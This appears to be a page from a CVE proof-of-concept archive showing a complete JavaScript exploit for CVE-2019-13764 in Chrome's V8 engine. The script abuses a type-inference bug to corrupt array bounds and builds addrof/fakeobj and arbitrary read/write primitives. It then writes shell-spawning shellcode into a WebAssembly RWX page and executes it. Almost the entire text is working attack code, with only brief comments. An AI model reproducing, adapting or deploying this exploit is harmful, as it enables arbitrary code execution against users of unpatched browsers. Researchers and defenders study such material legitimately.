4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2019-13764.js JS
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);

var allArrays;
var float_arr_map_idx = 23;
var float_arr;
var arr_obj;
var arr_obj_map_idx = 34;
var corrupted_arr;


function ftoi(val) {
    f64[0] = val;
    return BigInt(u32[0]) + (BigInt(u32[1]) << 32n);
}

function itof(val) {
    u32[0] = Number(val & 0xffffffffn);
    u32[1] = Number(val >> 32n);
    return f64[0];
}

function hex(v) {
    return '0x' + v.toString(16);
}


function trigger() {
    var x = -Infinity;
    var k = 0;

    for (var i = 0; i < 1; i += x) {
        if (i == -Infinity) {
            x = +Infinity;
        }

        if (++k > 10) {
            break;
        }
    }

    i = Math.max(i, 0x100000800);
    // After step one:
    // actual = NaN, inferred = [0x100000800; +Infinity)
    // representation = double
    i = Math.min(0x100000801, i);
    // After step two:
    // actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801]
    // representation = int64_t			
    i -= 0x1000007fa;
    // After step three:
    // actual = -2042, inferred = [6, 7]
    // representation = int32_t
    i >>= 1;
    // After step four:
    // actual = -1021, inferred = 3
    // representation = int32_t
    i += 10;
    // After step five:
    // actual = -1011, inferred = 13
    // representation = int32_t

    var array = new Array(i);
    array[0] = 1.1;

    var float_arr = [1.1, 1.2, 1.3, 1.4];

    var arr_obj = [{
        "A": 1
    }];

    return [array, float_arr, i, arr_obj];
}


function addrof(obj) {
    var allArrays = trigger();
    var arr_obj = allArrays[3];
    var corrupted_arr = allArrays[0];
    var orginal_map = corrupted_arr[arr_obj_map_idx]; // save old map
    arr_obj[0] = obj;
    corrupted_arr[arr_obj_map_idx] = corrupted_arr[float_arr_map_idx]; // change object map to float map
    var addr = arr_obj[0]; // get the address 
    corrupted_arr[arr_obj_map_idx] = orginal_map; // set map back 
    return ftoi(addr);
}


function fakeobj(addr) {
    var allArrays = trigger();
    var corrupted_arr = allArrays[0]
    var float_arr = allArrays[1];
    float_arr[0] = itof(addr);
    var orginal_map = corrupted_arr[float_arr_map_idx]; // save old map
    corrupted_arr[float_arr_map_idx] = corrupted_arr[arr_obj_map_idx]; //change float map to object map
    var fake = float_arr[0];
    corrupted_arr[float_arr_map_idx] = orginal_map; //set map back
    return fake;
}


while (trigger()[2] != -1011); // loop until trigger the bug



// set variable
allArrays = trigger();
corrupted_arr = allArrays[0];
float_arr = allArrays[1];
arr_obj = allArrays[3];


var arb_rw_arr = [corrupted_arr[float_arr_map_idx], 1.2, 1.3, 1.4];

function arb_read(addr) {
    // We have to use tagged pointers for reading, so we tag the addr
    if (addr % 2n == 0)
        addr += 1n;
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    // Change the elements pointer using our crafted array to read_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    // Index 0 will then return the value at read_addr
    return ftoi(fake[0]);

}


function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    // Write to index 0 as a floating point value
    fake[0] = itof(BigInt(val));
}



var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;



console.log("wasm: ", hex(addrof(wasm_instance)));
var rwx_page_addr = arb_read(addrof(wasm_instance) - 1n + 0x80n);
console.log("[+] RWX Wasm page addr: " + hex(rwx_page_addr));

function copy_shellcode(addr, shellcode) {
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
        dataview.setUint8(i, shellcode[i], false);
    }
}

// pop bash 
var shellcode = [0x48, 0x31, 0xf6, 0x56, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05];


console.log("[+] Copying shellcode to RWX page");

copy_shellcode(rwx_page_addr, shellcode);
console.log("[+] Exec bash");
f();